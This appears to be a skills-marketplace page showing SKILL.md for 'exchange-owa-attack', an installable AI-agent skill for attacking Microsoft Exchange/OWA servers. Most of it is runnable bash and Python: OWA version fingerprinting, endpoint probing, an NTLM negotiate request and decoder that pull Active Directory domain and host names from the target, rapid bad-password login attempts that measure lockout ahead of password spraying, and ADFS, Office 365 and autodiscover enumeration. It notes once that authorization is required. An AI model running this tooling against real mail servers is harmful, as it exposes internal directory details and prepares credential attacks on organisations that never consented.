用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill exchange-owa-attack命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
基于 SOC 职业分类
正在显示 SKILL.md
| name | exchange-owa-attack |
| description | Exchange/OWA NTLM AD leak, spray attack when mail subdomain. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| tags | ["recon","exchange","OWA","NTLM","ActiveDirectory","password-spray"] |
| category | recon |
| related_skills | ["port-service-discovery","zimbra-attack","subdomain-enumeration"] |
Exchange Outlook Web Access reconnaissance covering endpoint mapping, NTLM Type-2 metadata, authentication controls, and version evidence. Password or lockout testing requires explicit authorization and approved identities.
owa., mail., webmail., exchange., or autodiscover. subdomains.mail.domain.com, autodiscover.domain.com).WWW-Authenticate: Negotiate or WWW-Authenticate: NTLM.subdomain-enumeration discovers mail-related hosts.port-service-discovery finds HTTPS on port 443 with Exchange fingerprints.terminal with curl, python3.# Quick Exchange detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/owa/" | grep -iE "x-owa-version|x-feserver|exchange|microsoft"
# NTLM challenge capture (AD domain leak)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/owa/" -H "Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" | grep -i "www-authenticate"
| Technique | What It Reveals | Severity |
|---|---|---|
| NTLM Type-2 decode | AD domain, NetBIOS name, computer name, AD timestamp | High |
| OWA version header | Exchange version, CU level, patch status | Medium |
/owa/auth/logon.aspx | Login page, brute force surface | Medium |
/ecp/ | Exchange Control Panel (admin) | High |
/ews/ |
| Exchange Web Services (SOAP API) |
| Medium |
/autodiscover/ | Autodiscover configuration | Medium |
/mapi/ | MAPI over HTTP | Low |
/Microsoft-Server-ActiveSync | Mobile device sync | Medium |
/rpc/ | Outlook Anywhere (RPC over HTTP) | Low |
TARGET="$1"
OUTDIR="$OUTDIR/exchange"
mkdir -p "$OUTDIR"
echo "[*] Exchange detection on $TARGET"
# OWA probe
OWA_RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/owa/" 2>/dev/null)
echo "$OWA_RESP" > "$OUTDIR/owa_headers.txt"
# Version extraction
X_OWA=$(echo "$OWA_RESP" | grep -i "x-owa-version" | sed 's/.*: //')
X_FE=$(echo "$OWA_RESP" | grep -i "x-feserver" | sed 's/.*: //')
if [[ -n "$X_OWA" ]]; then
echo "[+] Exchange confirmed — OWA Version: $X_OWA"
echo " Frontend server: ${X_FE:-unknown}"
# Map version to CU
# 15.1.x = Exchange 2016, 15.2.x = Exchange 2019
MAJOR=$(echo "$X_OWA" | cut -d. -f1-2)
if [[ "$MAJOR" == "15.1" ]]; then
echo " Product: Exchange 2016"
elif [[ "$MAJOR" == "15.2" ]]; then
echo " Product: Exchange 2019"
fi
else
echo "[-] No OWA version header — may not be Exchange"
fi
# Key endpoints probe
declare -A EX_ENDPOINTS
EX_ENDPOINTS["/owa/auth/logon.aspx"]="Login page"
EX_ENDPOINTS["/ecp/"]="Exchange Control Panel (admin)"
EX_ENDPOINTS["/ews/exchange.asmx"]="Exchange Web Services (SOAP)"
EX_ENDPOINTS["/autodiscover/autodiscover.xml"]="Autodiscover"
EX_ENDPOINTS["/mapi/emsmdb/"]="MAPI over HTTP"
EX_ENDPOINTS["/Microsoft-Server-ActiveSync/"]="ActiveSync"
EX_ENDPOINTS["/rpc/rpcproxy.dll"]="Outlook Anywhere"
EX_ENDPOINTS["/owa/healthcheck.htm"]="Health check"
echo ""
echo "[*] Endpoint probe:"
for ep in "${!EX_ENDPOINTS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$ep")
[[ "$code" == "200" ]] && echo " [OPEN] $ep — ${EX_ENDPOINTS[$ep]}"
[[ "$code" == "302" ]] && echo " [REDIR] $ep — ${EX_ENDPOINTS[$ep]}"
[[ "$code" == "401" ]] && echo " [AUTH] $ep — ${EX_ENDPOINTS[$ep]}"
done
TARGET="$1"
echo "[*] NTLM challenge capture from $TARGET"
# Send NTLM Type-1 (Negotiate) message via Authorization header
NTLM_RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/owa/" \
-H "Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" 2>/dev/null)
WWW_AUTH=$(echo "$NTLM_RESP" | grep -i "www-authenticate: negotiate" | sed 's/.*negotiate //i' | tr -d '\r\n ')
if [[ -n "$WWW_AUTH" ]]; then
echo "[+] NTLM Type-2 challenge received!"
echo " Raw: ${WWW_AUTH:0:80}..."
# Decode with Python (extract AV_PAIRS structure)
echo "$WWW_AUTH" | python3 -c "
import base64, struct, sys
data = base64.b64decode(sys.stdin.read().strip())
# NTLM Type-2 message structure:
# Offset 12: Target Name
# Offset 16: Negotiate Flags
# Offset 20: Server Challenge
# Offset 28: Reserved
# Offset 32: Target Info (AV_PAIRS)
# Parse Target Info
if len(data) > 40:
target_info_offset = struct.unpack_from('<I', data, 40)[0]
target_info_len = struct.unpack_from('<I', data, 44)[0]
av_pairs = data[target_info_offset:target_info_offset + target_info_len]
print()
print('=== NTLM Type-2 Decoded ===')
pos = 0
while pos < len(av_pairs) - 4:
av_type = struct.unpack_from('<H', av_pairs, pos)[0]
av_len = struct.unpack_from('<H', av_pairs, pos + 2)[0]
av_value = av_pairs[pos + 4:pos + 4 + av_len]
# AV_PAIR types
types = {
1: 'NetBIOS Computer Name',
2: 'NetBIOS Domain Name',
3: 'DNS Computer Name',
4: 'DNS Domain Name',
5: 'DNS Tree Name',
6: 'Product Version',
7: 'Timestamp',
}
label = types.get(av_type, f'Unknown({av_type})')
if av_type in (1, 2, 3, 4, 5):
value = av_value.decode('utf-16-le', errors='replace')
print(f' {label}: {value}')
elif av_type == 7:
ts = struct.unpack_from('<Q', av_value)[0]
from datetime import datetime, timezone
dt = datetime.fromtimestamp(ts / 10000000 - 11644473600, tz=timezone.utc)
print(f' Timestamp: {dt}')
else:
print(f' {label}: {av_value.hex()}')
pos += 4 + av_len
else:
print(' No AV_PAIRS in response')
"
fi
TARGET="$1"
echo "[*] Password spray surface assessment"
# Check for account lockout by testing rapid logins with invalid password
echo "[*] Rate limiting test (5 rapid attempts with wrong password)..."
for i in $(seq 1 5); do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \
-X POST "https://$TARGET/owa/auth.owa" \
-d "destination=https://$TARGET/owa/&username=testuser$i@domain.com&password=WrongPass123!" 2>/dev/null)
echo " Attempt $i: HTTP $code"
done
# Check if Basic Auth is enabled (rare post-2022, but exists)
BASIC_AUTH=$(curl -skI --max-time 5 --connect-timeout 5 "https://$TARGET/owa/" \
-H "Authorization: Basic dGVzdDp0ZXN0" 2>/dev/null | grep -i "www-authenticate.*basic")
if [[ -n "$BASIC_AUTH" ]]; then
echo " [!] Basic Auth ENABLED — easier brute force vector"
fi
# Check healthcheck endpoint (sometimes exposes version/config)
HEALTH=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/owa/healthcheck.htm" 2>/dev/null)
if [[ -n "$HEALTH" ]] && echo "$HEALTH" | grep -qi "200 ok"; then
echo " [+] Healthcheck accessible — server status exposed"
fi
TARGET_DOMAIN="$1" # e.g., company.com
echo "[*] ADFS/Office 365 recon on $TARGET_DOMAIN"
# Check for ADFS
ADFS_URL="https://sts.$TARGET_DOMAIN/adfs/ls/IdpInitiatedSignOn.aspx"
ADFS_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$ADFS_URL")
[[ "$ADFS_CODE" == "200" || "$ADFS_CODE" == "302" ]] && echo " [+] ADFS: $ADFS_URL (HTTP $ADFS_CODE)"
# Check Office 365 tenant
O365_XML=$(curl -sk --max-time 5 --connect-timeout 5 "https://login.microsoftonline.com/getuserrealm.srf?login=user@$TARGET_DOMAIN&xml=1" 2>/dev/null)
if echo "$O365_XML" | grep -qi "Federated\|Managed"; then
echo " [+] Office 365 tenant: $(echo "$O365_XML" | grep -Eo '<NameSpaceType>\K[^<]+')"
echo " $(echo "$O365_XML" | grep -Eo '<DomainName>\K[^<]+')"
fi
# Autodiscover (leaks internal server names)
AUTODISCOVER=$(curl -sk --max-time 10 --connect-timeout 10 "https://autodiscover.$TARGET_DOMAIN/autodiscover/autodiscover.xml" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>user@'$TARGET_DOMAIN'</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>' 2>/dev/null)
if echo "$AUTODISCOVER" | grep -qi "server\|internal"; then
echo " [+] Autodiscover response — internal server names leaked"
echo "$AUTODISCOVER" | grep -Eo '(?:<Server>|<InternalRpcClientServer>|<ASUrl>)[^<]+' | head -5
fi
X-OWA-Version header.password-spray-methodology — Universal password spray pipeline across all protocols + error code differentials